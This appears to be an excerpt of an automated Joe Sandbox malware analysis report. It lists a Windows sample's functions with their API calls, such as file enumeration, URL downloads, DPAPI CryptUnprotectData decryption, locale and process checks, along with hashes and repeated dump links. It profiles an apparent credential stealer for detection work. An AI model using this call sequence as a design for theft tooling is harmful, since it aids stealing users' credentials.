Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 1415058207-2075649900
Opcode ID: 43ba0db6ca9821de141a07defb777709061facd9e216ec36073d8ec29cc647e5
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 43ba0db6ca9821de141a07defb777709061facd9e216ec36073d8ec29cc647e5
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040E270 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D
1#v, xrefs: 0040E2E2
P2#v, xrefs: 0040EA1F
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$P2#v$\*.*$1#v
API String ID: 433455689-4077462073
Opcode ID: bdd47da061b7421e9227a2976377c029463a661f808bd4dfe55843610af881bf
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: bdd47da061b7421e9227a2976377c029463a661f808bd4dfe55843610af881bf
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: f41d2cb06437f678c138a8aab9bea3ed0b685f25b19439ba06f49e9e8cae6bb0
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: f41d2cb06437f678c138a8aab9bea3ed0b685f25b19439ba06f49e9e8cae6bb0
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 2af955e06c54723e82a802fd37ed11a5747e996d7f98f2e68b98d8297d048985
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 2af955e06c54723e82a802fd37ed11a5747e996d7f98f2e68b98d8297d048985
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02579C40,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02579C40,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02579C40,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,0255C928), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,0257A030), ref: 0040796B
lstrcat.KERNEL32(?,02579EB0), ref: 0040797F
lstrcat.KERNEL32(?,02579EC8), ref: 00407992
lstrcat.KERNEL32(?,02579EE0), ref: 004079A6
lstrcat.KERNEL32(?,0254FC80), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,0257A030), ref: 00407A09
lstrcat.KERNEL32(?,02579EB0), ref: 00407A1D
lstrcat.KERNEL32(?,02579EC8), ref: 00407A31
lstrcat.KERNEL32(?,02579EE0), ref: 00407A44
lstrcat.KERNEL32(?,02552460), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,0257A030), ref: 00407AA8
lstrcat.KERNEL32(?,02579EB0), ref: 00407ABB
lstrcat.KERNEL32(?,02579EC8), ref: 00407ACF
lstrcat.KERNEL32(?,02579EE0), ref: 00407AE3
lstrcat.KERNEL32(?,025508A0), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,0257A030), ref: 00407B46
lstrcat.KERNEL32(?,02579EB0), ref: 00407B5A
lstrcat.KERNEL32(?,02579EC8), ref: 00407B6D
lstrcat.KERNEL32(?,02579EE0), ref: 00407B81
lstrcat.KERNEL32(?,02550150), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,0257A030), ref: 00407BE4
lstrcat.KERNEL32(?,02579EB0), ref: 00407BF8
lstrcat.KERNEL32(?,02579EC8), ref: 00407C0C
lstrcat.KERNEL32(?,02579EE0), ref: 00407C1F
lstrcat.KERNEL32(?,02550580), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,0257A030), ref: 00407C83
lstrcat.KERNEL32(?,02579EB0), ref: 00407C96
lstrcat.KERNEL32(?,02579EC8), ref: 00407CAA
lstrcat.KERNEL32(?,02579EE0), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(352BA020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(352BA020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(352BA020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(352BA020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(352BA020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(352BA020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(352BA020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,0255D480), ref: 00407E4B
lstrcat.KERNEL32(?,0257A780), ref: 00407E5E
lstrlenA.KERNEL32(352BA020), ref: 00407E6B
lstrlenA.KERNEL32(352BA020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 182ae1ed2f8d26e872c664b2479cf3bc4cd865b6e3a7470a54644f0512f235c0
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 182ae1ed2f8d26e872c664b2479cf3bc4cd865b6e3a7470a54644f0512f235c0
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

